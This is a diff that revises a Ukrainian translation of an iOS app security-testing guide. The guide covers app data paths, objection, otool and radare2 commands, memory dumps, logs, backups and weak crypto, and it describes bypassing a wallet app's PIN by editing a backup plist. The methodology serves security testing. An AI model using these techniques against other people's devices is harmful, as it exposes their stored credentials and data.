Для тих, хто хоче працювати з цим файлом у більш доступному форматі, конвертацію в XML можна здійснити без зусиль за допомогою `plutil` на macOS (доступний нативно на версіях 10.2 і пізніше) або `plistutil` на Linux. Команди для конвертації такі:
|
||||||
|
|
||||||
@ -191,20 +191,20 @@ $ plutil -convert xml1 Info.plist
|
|||||||
$ apt install libplist-utils
|
$ apt install libplist-utils
|
||||||
$ plistutil -i Info.plist -o Info_xml.plist
|
$ plistutil -i Info.plist -o Info_xml.plist
|
||||||
```
|
```
|
||||||
Серед безлічі інформації, яку може розкрити файл **Info.plist**, помітні записи включають рядки дозволів додатка (`UsageDescription`), власні URL-схеми (`CFBundleURLTypes`) та конфігурації для App Transport Security (`NSAppTransportSecurity`). Ці записи, разом з іншими, такими як експортовані/імпортовані власні типи документів (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), можна без зусиль знайти, перевіряючи файл або використовуючи просту команду `grep`:
|
Серед безлічі інформації, яку може розкрити файл **Info.plist**, помітні записи включають рядки дозволів додатка (`UsageDescription`), користувацькі URL-схеми (`CFBundleURLTypes`) та конфігурації для App Transport Security (`NSAppTransportSecurity`). Ці записи, разом з іншими, такими як експортовані/імпортовані користувацькі типи документів (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), можна без зусиль знайти, перевіряючи файл або використовуючи просту команду `grep`:
|
||||||
```bash
|
```bash
|
||||||
$ grep -i <keyword> Info.plist
|
$ grep -i <keyword> Info.plist
|
||||||
```
|
```
|
||||||
**Шляхи Даних**
|
**Шляхи Даних**
|
||||||
|
|
||||||
В середовищі iOS каталоги призначені спеціально для **системних додатків** та **додатків, встановлених користувачем**. Системні додатки знаходяться в каталозі `/Applications`, тоді як додатки, встановлені користувачем, розміщуються в `/var/mobile/containers/Data/Application/`. Цим додаткам присвоюється унікальний ідентифікатор, відомий як **128-бітний UUID**, що ускладнює завдання ручного знаходження папки додатка через випадковість назв каталогів.
|
В середовищі iOS каталоги призначені спеціально для **системних додатків** та **додатків, встановлених користувачем**. Системні додатки знаходяться в каталозі `/Applications`, тоді як додатки, встановлені користувачем, розміщуються в `/var/mobile/containers/Data/Application/`. Ці додатки отримують унікальний ідентифікатор, відомий як **128-бітний UUID**, що ускладнює завдання ручного знаходження папки додатка через випадковість назв каталогів.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Оскільки додатки в iOS повинні бути в пісочниці, кожен додаток також матиме папку всередині **`$HOME/Library/Containers`** з **`CFBundleIdentifier`** додатка як назва папки.
|
> Оскільки додатки в iOS повинні бути в пісочниці, кожен додаток також матиме папку всередині **`$HOME/Library/Containers`** з **`CFBundleIdentifier`** додатка як назва папки.
|
||||||
>
|
>
|
||||||
> Однак обидві папки (папки даних та контейнерів) мають файл **`.com.apple.mobile_container_manager.metadata.plist`**, який пов'язує обидва файли за ключем `MCMetadataIdentifier`).
|
> Однак обидві папки (папки даних та контейнерів) мають файл **`.com.apple.mobile_container_manager.metadata.plist`**, який пов'язує обидва файли за ключем `MCMetadataIdentifier`.
|
||||||
|
|
||||||
Щоб полегшити виявлення каталогу встановлення додатка, встановленого користувачем, **інструмент objection** надає корисну команду `env`. Ця команда розкриває детальну інформацію про каталог для відповідного додатка. Нижче наведено приклад використання цієї команди:
|
Щоб полегшити виявлення каталогу установки додатка, встановленого користувачем, **інструмент objection** надає корисну команду `env`. Ця команда розкриває детальну інформацію про каталог для відповідного додатка. Нижче наведено приклад використання цієї команди:
|
||||||
```bash
|
```bash
|
||||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||||
|
|
||||||
@ -224,46 +224,46 @@ find /private/var/containers -name "Progname*"
|
|||||||
ps -ef | grep -i <app-name>
|
ps -ef | grep -i <app-name>
|
||||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||||
```
|
```
|
||||||
**Каталог пакету:**
|
**Bundle directory:**
|
||||||
|
|
||||||
- **AppName.app**
|
- **AppName.app**
|
||||||
- Це пакет програми, як було показано раніше в IPA, він містить основні дані програми, статичний контент, а також скомпільований бінарний файл програми.
|
- Це пакет програми, як було показано раніше в IPA, він містить основні дані програми, статичний контент, а також скомпільований бінарний файл програми.
|
||||||
- Цей каталог видимий для користувачів, але **користувачі не можуть записувати в нього**.
|
- Ця директорія видима для користувачів, але **користувачі не можуть записувати в неї**.
|
||||||
- Контент у цьому каталозі **не резервується**.
|
- Контент у цій директорії **не резервується**.
|
||||||
- Вміст цієї папки використовується для **перевірки підпису коду**.
|
- Вміст цієї папки використовується для **перевірки підпису коду**.
|
||||||
|
|
||||||
**Каталог даних:**
|
**Data directory:**
|
||||||
|
|
||||||
- **Documents/**
|
- **Documents/**
|
||||||
- Містить всі дані, створені користувачем. Кінцевий користувач програми ініціює створення цих даних.
|
- Містить всі дані, створені користувачем. Кінцевий користувач програми ініціює створення цих даних.
|
||||||
- Видимий для користувачів і **користувачі можуть записувати в нього**.
|
- Видима для користувачів і **користувачі можуть записувати в неї**.
|
||||||
- Контент у цьому каталозі **резервується**.
|
- Контент у цій директорії **резервується**.
|
||||||
- Програма може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
- Додаток може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||||
- **Library/**
|
- **Library/**
|
||||||
- Містить всі **файли, які не є специфічними для користувача**, такі як **кеші**, **налаштування**, **куки** та файли конфігурації списку властивостей (plist).
|
- Містить всі **файли, які не є специфічними для користувача**, такі як **кеші**, **налаштування**, **куки** та файли конфігурації списку властивостей (plist).
|
||||||
- iOS програми зазвичай використовують підкаталоги `Application Support` та `Caches`, але програма може створювати власні підкаталоги.
|
- Додатки iOS зазвичай використовують підкаталоги `Application Support` та `Caches`, але додаток може створювати власні підкаталоги.
|
||||||
- **Library/Caches/**
|
- **Library/Caches/**
|
||||||
- Містить **напівпостійні кешовані файли.**
|
- Містить **напівпостійні кешовані файли.**
|
||||||
- Невидимий для користувачів і **користувачі не можуть записувати в нього**.
|
- Невидима для користувачів і **користувачі не можуть записувати в неї**.
|
||||||
- Контент у цьому каталозі **не резервується**.
|
- Контент у цій директорії **не резервується**.
|
||||||
- ОС може автоматично видаляти файли цього каталогу, коли програма не працює і місця для зберігання недостатньо.
|
- ОС може автоматично видаляти файли цієї директорії, коли додаток не працює і місця для зберігання недостатньо.
|
||||||
- **Library/Application Support/**
|
- **Library/Application Support/**
|
||||||
- Містить **постійні** **файли**, необхідні для роботи програми.
|
- Містить **постійні** **файли**, необхідні для роботи програми.
|
||||||
- **Невидимий** **для** **користувачів** і користувачі не можуть записувати в нього.
|
- **Невидима** **для** **користувачів** і користувачі не можуть записувати в неї.
|
||||||
- Контент у цьому каталозі **резервується**.
|
- Контент у цій директорії **резервується**.
|
||||||
- Програма може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
- Додаток може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||||
- **Library/Preferences/**
|
- **Library/Preferences/**
|
||||||
- Використовується для зберігання властивостей, які можуть **зберігатися навіть після перезапуску програми**.
|
- Використовується для зберігання властивостей, які можуть **зберігатися навіть після перезапуску програми**.
|
||||||
- Інформація зберігається, нешифрована, всередині пісочниці програми у файлі plist під назвою \[BUNDLE_ID].plist.
|
- Інформація зберігається, нешифрована, всередині пісочниці програми у файлі plist під назвою \[BUNDLE_ID].plist.
|
||||||
- Усі пари ключ/значення, збережені за допомогою `NSUserDefaults`, можна знайти в цьому файлі.
|
- Усі пари ключ/значення, збережені за допомогою `NSUserDefaults`, можна знайти в цьому файлі.
|
||||||
- **tmp/**
|
- **tmp/**
|
||||||
- Використовуйте цей каталог для запису **тимчасових файлів**, які не потрібно зберігати між запусками програми.
|
- Використовуйте цю директорію для запису **тимчасових файлів**, які не потрібно зберігати між запусками програми.
|
||||||
- Містить непостійні кешовані файли.
|
- Містить непостійні кешовані файли.
|
||||||
- **Невидимий** для користувачів.
|
- **Невидима** для користувачів.
|
||||||
- Контент у цьому каталозі не резервується.
|
- Контент у цій директорії не резервується.
|
||||||
- ОС може автоматично видаляти файли цього каталогу, коли програма не працює і місця для зберігання недостатньо.
|
- ОС може автоматично видаляти файли цієї директорії, коли додаток не працює і місця для зберігання недостатньо.
|
||||||
|
|
||||||
Давайте ближче розглянемо каталог пакету програми iGoat-Swift (.app) всередині каталогу пакету (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
Давайте ближче розглянемо пакет програми iGoat-Swift (.app) у директорії Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||||
```bash
|
```bash
|
||||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||||
NSFileType Perms NSFileProtection ... Name
|
NSFileType Perms NSFileProtection ... Name
|
||||||
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
|
|||||||
```
|
```
|
||||||
### Бінарне реверсування
|
### Бінарне реверсування
|
||||||
|
|
||||||
Всередині папки `<application-name>.app` ви знайдете бінарний файл під назвою `<application-name>`. Це файл, який буде **виконуватись**. Ви можете виконати базову перевірку бінарного файлу за допомогою інструмента **`otool`**:
|
Всередині папки `<application-name>.app` ви знайдете бінарний файл під назвою `<application-name>`. Це файл, який буде **виконуватись**. Ви можете виконати базову перевірку бінарного файлу за допомогою інструменту **`otool`**:
|
||||||
```bash
|
```bash
|
||||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||||
@ -315,7 +315,7 @@ DVIA-v2:
|
|||||||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||||
0000000100004ad0 add x10, x10, #0x268
|
0000000100004ad0 add x10, x10, #0x268
|
||||||
```
|
```
|
||||||
Щоб надрукувати **сегмент Objective-C** зразкової програми, можна використовувати:
|
Щоб надрукувати **Objective-C сегмент** зразкової програми, можна використати:
|
||||||
```bash
|
```bash
|
||||||
otool -oV DVIA-v2
|
otool -oV DVIA-v2
|
||||||
DVIA-v2:
|
DVIA-v2:
|
||||||
@ -367,17 +367,17 @@ ios-basics.md
|
|||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Наступні місця для зберігання інформації слід перевірити **відразу після встановлення програми**, **після перевірки всіх функцій** програми і навіть після **виходу з одного користувача та входу в іншого**.\
|
> Наступні місця для зберігання інформації слід перевірити **відразу після встановлення програми**, **після перевірки всіх функцій** програми і навіть після **виходу з одного користувача та входу в іншого**.\
|
||||||
> Мета полягає в тому, щоб знайти **незахищену чутливу інформацію** програми (паролі, токени), поточного користувача та раніше увійшли користувачів.
|
> Мета полягає в тому, щоб знайти **незахищену чутливу інформацію** програми (паролі, токени), поточного користувача та раніше увійшлих користувачів.
|
||||||
|
|
||||||
### Plist
|
### Plist
|
||||||
|
|
||||||
**plist** файли - це структуровані XML файли, які **містять пари ключ-значення**. Це спосіб зберігати постійні дані, тому іноді ви можете знайти **чутливу інформацію в цих файлах**. Рекомендується перевіряти ці файли після встановлення програми та після інтенсивного використання, щоб побачити, чи записуються нові дані.
|
**plist** файли є структурованими XML файлами, які **містять пари ключ-значення**. Це спосіб зберігати постійні дані, тому іноді ви можете знайти **чутливу інформацію в цих файлах**. Рекомендується перевіряти ці файли після встановлення програми та після інтенсивного використання, щоб побачити, чи записуються нові дані.
|
||||||
|
|
||||||
Найпоширеніший спосіб зберігання даних у plist файлах - це використання **NSUserDefaults**. Цей plist файл зберігається всередині пісочниці програми в **`Library/Preferences/<appBundleID>.plist`**
|
Найпоширеніший спосіб зберігання даних у plist файлах - це використання **NSUserDefaults**. Цей plist файл зберігається всередині пісочниці програми в **`Library/Preferences/<appBundleID>.plist`**
|
||||||
|
|
||||||
Клас [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) надає програмний інтерфейс для взаємодії з системою за замовчуванням. Система за замовчуванням дозволяє програмі налаштовувати свою поведінку відповідно до **уподобань користувача**. Дані, збережені за допомогою `NSUserDefaults`, можна переглядати в пакеті програми. Цей клас зберігає **дані** в **plist** **файлі**, але призначений для використання з невеликою кількістю даних.
|
Клас [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) надає програмний інтерфейс для взаємодії з системою за замовчуванням. Система за замовчуванням дозволяє програмі налаштовувати свою поведінку відповідно до **уподобань користувача**. Дані, збережені за допомогою `NSUserDefaults`, можна переглядати в пакеті програми. Цей клас зберігає **дані** в **plist** **файлі**, але призначений для використання з невеликою кількістю даних.
|
||||||
|
|
||||||
Ці дані більше не можна безпосередньо отримати через довірений комп'ютер, але їх можна отримати, виконавши **резервне копіювання**.
|
Ці дані більше не можуть бути доступні безпосередньо через довірений комп'ютер, але можуть бути доступні шляхом виконання **резервного копіювання**.
|
||||||
|
|
||||||
Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` від objection.
|
Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` від objection.
|
||||||
|
|
||||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
|||||||
```
|
```
|
||||||
### Couchbase Lite Databases
|
### Couchbase Lite Databases
|
||||||
|
|
||||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) описується як **легкий** та **вбудований** движок бази даних, який слідує **документно-орієнтованому** (NoSQL) підходу. Розроблений для **iOS** та **macOS**, він пропонує можливість безперервної синхронізації даних.
|
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) описується як **легкий** та **вбудований** механізм бази даних, який слідує **документно-орієнтованому** (NoSQL) підходу. Розроблений для **iOS** та **macOS**, він пропонує можливість безперебійної синхронізації даних.
|
||||||
|
|
||||||
Щоб виявити потенційні бази даних Couchbase на пристрої, слід перевірити наступний каталог:
|
Щоб виявити потенційні бази даних Couchbase на пристрої, слід перевірити наступний каталог:
|
||||||
```bash
|
```bash
|
||||||
@ -522,19 +522,19 @@ iOS зберігає куки додатків у **`Library/Cookies/cookies.bin
|
|||||||
|
|
||||||
[Документація Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
[Документація Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||||
|
|
||||||
`Об'єкт конфігурації сесії ephemeral подібний до конфігурації сесії за замовчуванням (див. default), за винятком того, що відповідний об'єкт сесії не зберігає кеші, сховища облікових даних або будь-які дані, пов'язані з сесією, на диску. Натомість дані, пов'язані з сесією, зберігаються в оперативній пам'яті. Єдиний раз, коли ephemeral сесія записує дані на диск, це коли ви кажете їй записати вміст URL у файл.`
|
`Об'єкт конфігурації сесії ephemeral подібний до об'єкта конфігурації сесії за замовчуванням (див. default), за винятком того, що відповідний об'єкт сесії не зберігає кеші, сховища облікових даних або будь-які дані, пов'язані з сесією, на диску. Натомість дані, пов'язані з сесією, зберігаються в оперативній пам'яті. Єдиний раз, коли ephemeral сесія записує дані на диск, це коли ви кажете їй записати вміст URL у файл.`
|
||||||
|
|
||||||
3. Кеш також можна відключити, встановивши політику кешування на [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Це відключить зберігання кешу будь-яким чином, як в пам'яті, так і на диску.
|
3. Кеш також можна відключити, встановивши політику кешування на [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Це відключить зберігання кешу будь-яким чином, як в пам'яті, так і на диску.
|
||||||
|
|
||||||
### Snapshots
|
### Snapshots
|
||||||
|
|
||||||
Коли ви натискаєте кнопку "Додому", iOS **знімає знімок поточного екрану**, щоб мати можливість здійснити перехід до програми набагато плавніше. Однак, якщо на поточному екрані присутні **чутливі** **дані**, вони будуть **збережені** в **зображенні** (яке **зберігається** **після** **перезавантажень**). Це знімки, до яких ви також можете отримати доступ, двічі торкнувшись екрана "Додому", щоб перемикатися між програмами.
|
Коли ви натискаєте кнопку "Додому", iOS **знімає знімок поточного екрану**, щоб забезпечити більш плавний перехід до програми. Однак, якщо на поточному екрані присутні **чутливі** **дані**, вони будуть **збережені** в **зображенні** (яке **зберігається** **після** **перезавантажень**). Це знімки, до яких ви також можете отримати доступ, двічі торкнувшись головного екрану для перемикання між програмами.
|
||||||
|
|
||||||
Якщо iPhone не зламаний, **зловмисник** повинен мати **доступ** до **пристрою** **без блокування**, щоб побачити ці знімки екрана. За замовчуванням останній знімок зберігається в пісочниці програми в папці `Library/Caches/Snapshots/` або `Library/SplashBoard/Snapshots` (достовірні комп'ютери не можуть отримати доступ до файлової системи з iOX 7.0).
|
Якщо iPhone не зламаний, **зловмисник** повинен мати **доступ** до **пристрою** **без блокування**, щоб побачити ці знімки екрана. За замовчуванням останній знімок зберігається в пісочниці програми в папці `Library/Caches/Snapshots/` або `Library/SplashBoard/Snapshots` (достовірні комп'ютери не можуть отримати доступ до файлової системи з iOX 7.0).
|
||||||
|
|
||||||
Один зі способів запобігти цій поганій поведінці - це поставити чорний екран або видалити чутливі дані перед зняттям знімка, використовуючи функцію `ApplicationDidEnterBackground()`.
|
Один зі способів запобігти цій небажаній поведінці - це поставити порожній екран або видалити чутливі дані перед зняттям знімка, використовуючи функцію `ApplicationDidEnterBackground()`.
|
||||||
|
|
||||||
Нижче наведено приклад методу усунення, який встановить знімок за замовчуванням.
|
Нижче наведено приклад методу виправлення, який встановить знімок за замовчуванням.
|
||||||
|
|
||||||
Swift:
|
Swift:
|
||||||
```swift
|
```swift
|
||||||
@ -574,7 +574,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
|||||||
|
|
||||||
#### **Зберігання облікових даних**
|
#### **Зберігання облікових даних**
|
||||||
|
|
||||||
Клас **NSURLCredential** ідеально підходить для збереження чутливої інформації безпосередньо в keychain, обходячи необхідність у NSUserDefaults або інших обгортках. Щоб зберегти облікові дані після входу, використовується наступний код Swift:
|
Клас **NSURLCredential** ідеально підходить для збереження чутливої інформації безпосередньо в keychain, обходячи необхідність у NSUserDefaults або інших обгортках. Для зберігання облікових даних після входу використовується наступний код Swift:
|
||||||
```swift
|
```swift
|
||||||
NSURLCredential *credential;
|
NSURLCredential *credential;
|
||||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||||
@ -606,13 +606,13 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
|||||||
```
|
```
|
||||||
## **Логи**
|
## **Логи**
|
||||||
|
|
||||||
Відлагодження коду часто передбачає використання **логування**. Існує ризик, оскільки **логи можуть містити чутливу інформацію**. Раніше, в iOS 6 та раніших версіях, логи були доступні всім додаткам, що створювало ризик витоку чутливих даних. **Тепер додатки обмежені у доступі лише до своїх логів**.
|
Відладка коду часто передбачає використання **логування**. Існує ризик, оскільки **логи можуть містити чутливу інформацію**. Раніше, в iOS 6 та ранніших версіях, логи були доступні всім додаткам, що створювало ризик витоку чутливих даних. **Тепер додатки обмежені у доступі лише до своїх логів**.
|
||||||
|
|
||||||
Незважаючи на ці обмеження, **зловмисник з фізичним доступом** до розблокованого пристрою все ще може скористатися цим, підключивши пристрій до комп'ютера та **прочитавши логи**. Важливо зазначити, що логи залишаються на диску навіть після видалення додатка.
|
Незважаючи на ці обмеження, **зловмисник з фізичним доступом** до розблокованого пристрою все ще може скористатися цим, підключивши пристрій до комп'ютера та **прочитавши логи**. Важливо зазначити, що логи залишаються на диску навіть після видалення додатку.
|
||||||
|
|
||||||
Щоб зменшити ризики, рекомендується **ретельно взаємодіяти з додатком**, досліджуючи всі його функціональні можливості та введення, щоб переконатися, що жодна чутлива інформація не записується ненавмисно.
|
Щоб зменшити ризики, рекомендується **ретельно взаємодіяти з додатком**, досліджуючи всі його функціональні можливості та введення, щоб переконатися, що жодна чутлива інформація не записується ненавмисно.
|
||||||
|
|
||||||
При перегляді вихідного коду додатка на предмет потенційних витоків, звертайте увагу як на **попередньо визначені**, так і на **кастомні логуючі оператори**, використовуючи ключові слова, такі як `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` для вбудованих функцій, а також будь-які згадки про `Logging` або `Logfile` для кастомних реалізацій.
|
При перегляді вихідного коду додатку на предмет потенційних витоків, шукайте як **попередньо визначені**, так і **кастомні логуючі оператори**, використовуючи ключові слова, такі як `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` для вбудованих функцій, а також будь-які згадки про `Logging` або `Logfile` для кастомних реалізацій.
|
||||||
|
|
||||||
### **Моніторинг системних логів**
|
### **Моніторинг системних логів**
|
||||||
|
|
||||||
@ -638,7 +638,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||||||
|
|
||||||
## Резервні копії
|
## Резервні копії
|
||||||
|
|
||||||
**Автоматичні функції резервного копіювання** інтегровані в iOS, що полегшує створення копій даних пристрою через iTunes (до macOS Catalina), Finder (з macOS Catalina і далі) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як дані Apple Pay та налаштування Touch ID.
|
**Автоматичні функції резервного копіювання** інтегровані в iOS, що полегшує створення копій даних пристрою через iTunes (до macOS Catalina), Finder (з macOS Catalina) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як деталі Apple Pay та налаштування Touch ID.
|
||||||
|
|
||||||
### Ризики безпеки
|
### Ризики безпеки
|
||||||
|
|
||||||
@ -652,7 +652,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||||||
|
|
||||||
Щоб оцінити безпеку резервного копіювання додатка, почніть з **створення резервної копії** за допомогою Finder, а потім знайдіть її, скориставшись вказівками з [офіційної документації Apple](https://support.apple.com/en-us/HT204215). Проаналізуйте резервну копію на наявність чутливих даних або конфігурацій, які можуть бути змінені для впливу на поведінку додатка.
|
Щоб оцінити безпеку резервного копіювання додатка, почніть з **створення резервної копії** за допомогою Finder, а потім знайдіть її, скориставшись вказівками з [офіційної документації Apple](https://support.apple.com/en-us/HT204215). Проаналізуйте резервну копію на наявність чутливих даних або конфігурацій, які можуть бути змінені для впливу на поведінку додатка.
|
||||||
|
|
||||||
Чутливу інформацію можна шукати за допомогою інструментів командного рядка або програм, таких як [iMazing](https://imazing.com). Для зашифрованих резервних копій наявність шифрування можна підтвердити, перевіривши ключ "IsEncrypted" у файлі "Manifest.plist" в корені резервної копії.
|
Чутливу інформацію можна шукати за допомогою інструментів командного рядка або додатків, таких як [iMazing](https://imazing.com). Для зашифрованих резервних копій наявність шифрування можна підтвердити, перевіривши ключ "IsEncrypted" у файлі "Manifest.plist" в корені резервної копії.
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
@ -665,11 +665,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||||||
...
|
...
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії GitHub DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
|
Для роботи з зашифрованими резервними копіями можуть бути корисні скрипти Python, доступні в [репозиторії DinoSec на GitHub](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), такі як **backup_tool.py** та **backup_passwd.py**, хоча вони можуть вимагати коригувань для сумісності з останніми версіями iTunes/Finder. Іншим варіантом для доступу до файлів у захищених паролем резервних копіях є [**iOSbackup**](https://pypi.org/project/iOSbackup/).
|
||||||
|
|
||||||
### Модифікація поведінки додатка
|
### Модифікація поведінки додатка
|
||||||
|
|
||||||
Приклад зміни поведінки додатка через модифікацію резервних копій продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування UI зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ.
|
Приклад зміни поведінки додатка через модифікації резервної копії продемонстровано в [додатку Bither bitcoin wallet](https://github.com/bither/bither-ios), де PIN-код блокування UI зберігається в `net.bither.plist` під ключем **pin_code**. Видалення цього ключа з plist і відновлення резервної копії усуває вимогу PIN-коду, надаючи необмежений доступ.
|
||||||
|
|
||||||
## Резюме щодо тестування пам'яті для чутливих даних
|
## Резюме щодо тестування пам'яті для чутливих даних
|
||||||
|
|
||||||
@ -677,7 +677,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
|||||||
|
|
||||||
## **Отримання та аналіз дампа пам'яті**
|
## **Отримання та аналіз дампа пам'яті**
|
||||||
|
|
||||||
Для як джейлбрейкнуті, так і не джейлбрейкнуті пристрої, такі інструменти, як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють створювати дамп пам'яті процесу додатка. Після дампа аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
|
Для пристроїв з джейлбрейком і без нього інструменти, такі як [objection](https://github.com/sensepost/objection) та [Fridump](https://github.com/Nightbringer21/fridump), дозволяють отримувати дамп пам'яті процесу додатка. Після отримання дампа аналіз цих даних вимагає різних інструментів, залежно від природи інформації, яку ви шукаєте.
|
||||||
|
|
||||||
Щоб витягти рядки з дампа пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
|
Щоб витягти рядки з дампа пам'яті, можна використовувати команди, такі як `strings` або `rabin2 -zz`:
|
||||||
```bash
|
```bash
|
||||||
@ -700,19 +700,19 @@ $ r2 <name_of_your_dump_file>
|
|||||||
$ r2 frida://usb//<name_of_your_app>
|
$ r2 frida://usb//<name_of_your_app>
|
||||||
[0x00000000]> /\ <search_command>
|
[0x00000000]> /\ <search_command>
|
||||||
```
|
```
|
||||||
## Зламане шифрування
|
## Зламане Криптографічне Шифрування
|
||||||
|
|
||||||
### Погані процеси управління ключами
|
### Погані Процеси Управління Ключами
|
||||||
|
|
||||||
Деякі розробники зберігають чутливі дані в локальному сховищі та шифрують їх за допомогою ключа, закодованого в коді. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
|
Деякі розробники зберігають чутливі дані в локальному сховищі та шифрують їх за допомогою ключа, закодованого в коді або передбачуваного. Це не слід робити, оскільки деяке реверсування може дозволити зловмисникам витягти конфіденційну інформацію.
|
||||||
|
|
||||||
### Використання небезпечних та/або застарілих алгоритмів
|
### Використання Небезпечних та/або Застарілих Алгоритмів
|
||||||
|
|
||||||
Розробники не повинні використовувати **застарілі алгоритми** для виконання **перевірок** авторизації, **зберігання** або **відправки** даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо **хеші** використовуються для зберігання паролів, наприклад, слід використовувати хеші, стійкі до брутфорсу, з сіллю.
|
Розробники не повинні використовувати **застарілі алгоритми** для виконання **перевірок** авторизації, **зберігання** або **відправки** даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо **хеші** використовуються для зберігання паролів, наприклад, слід використовувати хеші, стійкі до брутфорсу, з сіллю.
|
||||||
|
|
||||||
### Перевірка
|
### Перевірка
|
||||||
|
|
||||||
Основні перевірки, які потрібно виконати, це знайти, чи можна знайти **жорстко закодовані** паролі/секрети в коді, або чи вони **передбачувані**, і чи використовує код якісь **слабкі** **шифрувальні** алгоритми.
|
Основні перевірки, які потрібно виконати, це знайти, чи можна знайти **жорстко закодовані** паролі/секрети в коді, або чи є вони **передбачуваними**, і чи використовує код якісь **слабкі** **криптографічні** алгоритми.
|
||||||
|
|
||||||
Цікаво знати, що ви можете **моніторити** деякі **крипто** **бібліотеки** автоматично, використовуючи **objection** з:
|
Цікаво знати, що ви можете **моніторити** деякі **крипто** **бібліотеки** автоматично, використовуючи **objection** з:
|
||||||
```swift
|
```swift
|
||||||
@ -738,7 +738,7 @@ ios monitor crypt
|
|||||||
|
|
||||||
Щоб запитати користувачів про аутентифікацію, розробники повинні використовувати метод **`evaluatePolicy`** у класі **`LAContext`**, вибираючи між:
|
Щоб запитати користувачів про аутентифікацію, розробники повинні використовувати метод **`evaluatePolicy`** у класі **`LAContext`**, вибираючи між:
|
||||||
|
|
||||||
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись, якщо жоден з них не увімкнено.
|
- **`deviceOwnerAuthentication`**: Запитує Touch ID або код доступу до пристрою, не вдаючись до успіху, якщо жоден з них не активовано.
|
||||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Виключно запитує Touch ID.
|
